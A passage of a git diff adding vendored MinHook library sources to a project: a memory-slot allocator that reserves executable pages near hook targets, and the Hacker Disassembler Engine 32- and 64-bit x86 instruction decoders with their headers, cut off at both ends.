ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include "buffer.h" + +// Size of each memory block. (= page size of VirtualAlloc) +#define MEMORY_BLOCK_SIZE 0x1000 + +// Max range for seeking a memory block. (= 1024MB) +#define MAX_MEMORY_RANGE 0x40000000 + +// Memory protection flags to check the executable address. +#define PAGE_EXECUTE_FLAGS \ + (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY) + +// Memory slot. +typedef struct _MEMORY_SLOT +{ + union + { + struct _MEMORY_SLOT *pNext; + UINT8 buffer[MEMORY_SLOT_SIZE]; + }; +} MEMORY_SLOT, *PMEMORY_SLOT; + +// Memory block info. Placed at the head of each block. +typedef struct _MEMORY_BLOCK +{ + struct _MEMORY_BLOCK *pNext; + PMEMORY_SLOT pFree; // First element of the free slot list. + UINT usedCount; +} MEMORY_BLOCK, *PMEMORY_BLOCK; + +//------------------------------------------------------------------------- +// Global Variables: +//------------------------------------------------------------------------- + +// First element of the memory block list. +static PMEMORY_BLOCK g_pMemoryBlocks; + +//------------------------------------------------------------------------- +VOID InitializeBuffer(VOID) +{ + // Nothing to do for now. +} + +//------------------------------------------------------------------------- +VOID UninitializeBuffer(VOID) +{ + PMEMORY_BLOCK pBlock = g_pMemoryBlocks; + g_pMemoryBlocks = NULL; + + while (pBlock) + { + PMEMORY_BLOCK pNext = pBlock->pNext; + VirtualFree(pBlock, 0, MEM_RELEASE); + pBlock = pNext; + } +} + +//------------------------------------------------------------------------- +#if defined(_M_X64) || defined(__x86_64__) +static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity) +{ + ULONG_PTR tryAddr = (ULONG_PTR)pAddress; + + // Round down to the allocation granularity. + tryAddr -= tryAddr % dwAllocationGranularity; + + // Start from the previous allocation granularity multiply. + tryAddr -= dwAllocationGranularity; + + while (tryAddr >= (ULONG_PTR)pMinAddr) + { + MEMORY_BASIC_INFORMATION mbi; + if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) + break; + + if (mbi.State == MEM_FREE) + return (LPVOID)tryAddr; + + if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity) + break; + + tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity; + } + + return NULL; +} +#endif + +//------------------------------------------------------------------------- +#if defined(_M_X64) || defined(__x86_64__) +static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity) +{ + ULONG_PTR tryAddr = (ULONG_PTR)pAddress; + + // Round down to the allocation granularity. + tryAddr -= tryAddr % dwAllocationGranularity; + + // Start from the next allocation granularity multiply. + tryAddr += dwAllocationGranularity; + + while (tryAddr <= (ULONG_PTR)pMaxAddr) + { + MEMORY_BASIC_INFORMATION mbi; + if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) + break; + + if (mbi.State == MEM_FREE) + return (LPVOID)tryAddr; + + tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; + + // Round up to the next allocation granularity. + tryAddr += dwAllocationGranularity - 1; + tryAddr -= tryAddr % dwAllocationGranularity; + } + + return NULL; +} +#endif + +//------------------------------------------------------------------------- +static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin) +{ + PMEMORY_BLOCK pBlock; +#if defined(_M_X64) || defined(__x86_64__) + ULONG_PTR minAddr; + ULONG_PTR maxAddr; + + SYSTEM_INFO si; + GetSystemInfo(&si); + minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress; + maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress; + + // pOrigin ± 512MB + if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE) + minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE; + + if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE) + maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE; + + // Make room for MEMORY_BLOCK_SIZE bytes. + maxAddr -= MEMORY_BLOCK_SIZE - 1; +#endif + + // Look the registered blocks for a reachable one. + for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext) + { +#if defined(_M_X64) || defined(__x86_64__) + // Ignore the blocks too far. + if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr) + continue; +#endif + // The block has at least one unused slot. + if (pBlock->pFree != NULL) + return pBlock; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Alloc a new block above if not found. + { + LPVOID pAlloc = pOrigin; + while ((ULONG_PTR)pAlloc >= minAddr) + { + pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity); + if (pAlloc == NULL) + break; + + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pBlock != NULL) + break; + } + } + + // Alloc a new block below if not found. + if (pBlock == NULL) + { + LPVOID pAlloc = pOrigin; + while ((ULONG_PTR)pAlloc <= maxAddr) + { + pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity); + if (pAlloc == NULL) + break; + + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pBlock != NULL) + break; + } + } +#else + // In x86 mode, a memory block can be placed anywhere. + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); +#endif + + if (pBlock != NULL) + { + // Build a linked list of all the slots. + PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1; + pBlock->pFree = NULL; + pBlock->usedCount = 0; + do + { + pSlot->pNext = pBlock->pFree; + pBlock->pFree = pSlot; + pSlot++; + } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE); + + pBlock->pNext = g_pMemoryBlocks; + g_pMemoryBlocks = pBlock; + } + + return pBlock; +} + +//------------------------------------------------------------------------- +LPVOID AllocateBuffer(LPVOID pOrigin) +{ + PMEMORY_SLOT pSlot; + PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin); + if (pBlock == NULL) + return NULL; + + // Remove an unused slot from the list. + pSlot = pBlock->pFree; + pBlock->pFree = pSlot->pNext; + pBlock->usedCount++; +#ifdef _DEBUG + // Fill the slot with INT3 for debugging. + memset(pSlot, 0xCC, sizeof(MEMORY_SLOT)); +#endif + return pSlot; +} + +//------------------------------------------------------------------------- +VOID FreeBuffer(LPVOID pBuffer) +{ + PMEMORY_BLOCK pBlock = g_pMemoryBlocks; + PMEMORY_BLOCK pPrev = NULL; + ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE; + + while (pBlock != NULL) + { + if ((ULONG_PTR)pBlock == pTargetBlock) + { + PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer; +#ifdef _DEBUG + // Clear the released slot for debugging. + memset(pSlot, 0x00, sizeof(MEMORY_SLOT)); +#endif + // Restore the released slot to the list. + pSlot->pNext = pBlock->pFree; + pBlock->pFree = pSlot; + pBlock->usedCount--; + + // Free if unused. + if (pBlock->usedCount == 0) + { + if (pPrev) + pPrev->pNext = pBlock->pNext; + else + g_pMemoryBlocks = pBlock->pNext; + + VirtualFree(pBlock, 0, MEM_RELEASE); + } + + break; + } + + pPrev = pBlock; + pBlock = pBlock->pNext; + } +} + +//------------------------------------------------------------------------- +BOOL IsExecutableAddress(LPVOID pAddress) +{ + MEMORY_BASIC_INFORMATION mi; + VirtualQuery(pAddress, &mi, sizeof(mi)); + + return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS)); +} diff --git a/lib/minhook/src/buffer.h b/lib/minhook/src/buffer.h new file mode 100755 index 0000000..204d551 --- /dev/null +++ b/lib/minhook/src/buffer.h @@ -0,0 +1,42 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +// Size of each memory slot. +#if defined(_M_X64) || defined(__x86_64__) + #define MEMORY_SLOT_SIZE 64 +#else + #define MEMORY_SLOT_SIZE 32 +#endif + +VOID InitializeBuffer(VOID); +VOID UninitializeBuffer(VOID); +LPVOID AllocateBuffer(LPVOID pOrigin); +VOID FreeBuffer(LPVOID pBuffer); +BOOL IsExecutableAddress(LPVOID pAddress); diff --git a/lib/minhook/src/hde/hde32.c b/lib/minhook/src/hde/hde32.c new file mode 100755 index 0000000..eb6af9b --- /dev/null +++ b/lib/minhook/src/hde/hde32.c @@ -0,0 +1,324 @@ +/* + * Hacker Disassembler Engine 32 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#if defined(_M_IX86) || defined(__i386__) + +#include +#include "hde32.h" +#include "table32.h" + +unsigned int hde32_disasm(const void *code, hde32s *hs) +{ + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0; + + memset(hs, 0, sizeof(hde32s)); + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde32_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde32_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde32_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde32_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde32_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde32_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde32_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + break; + } + + if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + break; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (pref & PRE_66) { + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } else { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } + } + + if (cflags & C_IMM16) { + if (hs->flags & F_IMM32) { + hs->flags |= F_IMM16; + hs->disp.disp16 = *(uint16_t *)p; + } else if (hs->flags & F_IMM16) { + hs->flags |= F_2IMM16; + hs->disp.disp16 = *(uint16_t *)p; + } else { + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + } + p += 2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} + +#endif // defined(_M_IX86) || defined(__i386__) diff --git a/lib/minhook/src/hde/hde32.h b/lib/minhook/src/hde/hde32.h new file mode 100755 index 0000000..1112450 --- /dev/null +++ b/lib/minhook/src/hde/hde32.h @@ -0,0 +1,105 @@ +/* + * Hacker Disassembler Engine 32 + * Copyright (c) 2006-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde32.h: C/C++ header file + * + */ + +#ifndef _HDE32_H_ +#define _HDE32_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include "pstdint.h" + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 0x00000008 +#define F_IMM32 0x00000010 +#define F_DISP8 0x00000020 +#define F_DISP16 0x00000040 +#define F_DISP32 0x00000080 +#define F_RELATIVE 0x00000100 +#define F_2IMM16 0x00000800 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_ANY 0x3f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde32s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde32_disasm(const void *code, hde32s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE32_H_ */ diff --git a/lib/minhook/src/hde/hde64.c b/lib/minhook/src/hde/hde64.c new file mode 100755 index 0000000..ce773b1 --- /dev/null +++ b/lib/minhook/src/hde/hde64.c @@ -0,0 +1,335 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#if defined(_M_X64) || defined(__x86_64__) + +#include +#include "hde64.h" +#include "table64.h" + +unsigned int hde64_disasm(const void *code, hde64s *hs) +{ + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; + uint8_t op64 = 0; + + memset(hs, 0, sizeof(hde64s)); + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((c & 0xf0) == 0x40) { + hs->flags |= F_PREFIX_REX; + if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) + op64++; + hs->rex_r = (c & 7) >> 2; + hs->rex_x = (c & 3) >> 1; + hs->rex_b = c & 1; + if (((c = *p++) & 0xf0) == 0x40) { + opcode = c; + goto error_opcode; + } + } + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + op64++; + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + error_opcode: + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde64_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde64_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde64_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde64_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde64_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + break; + } + + if (m_mod != 3 && m_rm == 4) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + break; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (op64) { + hs->flags |= F_IMM64; + hs->imm.imm64 = *(uint64_t *)p; + p += 8; + } else if (!(pref & PRE_66)) { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else + goto imm16_ok; + } + + + if (cflags & C_IMM16) { + imm16_ok: + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} + +#endif // defined(_M_X64) || defined(__x86_64__) diff --git a/lib/minhook/src/hde/hde64.h b/lib/minhook/src/hde/hde64.h new file mode 100755 index 0000000..ecbf4df --- /dev/null +++ b/lib/minhook/src/hde/hde64.h @@ -0,0 +1,112 @@ +/* + * Hacker Disassembler Engine 64 + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde64.h: C/C++ header file + * + */ + +#ifndef _HDE64_H_ +#define _HDE64_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include "pstdint.h" + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 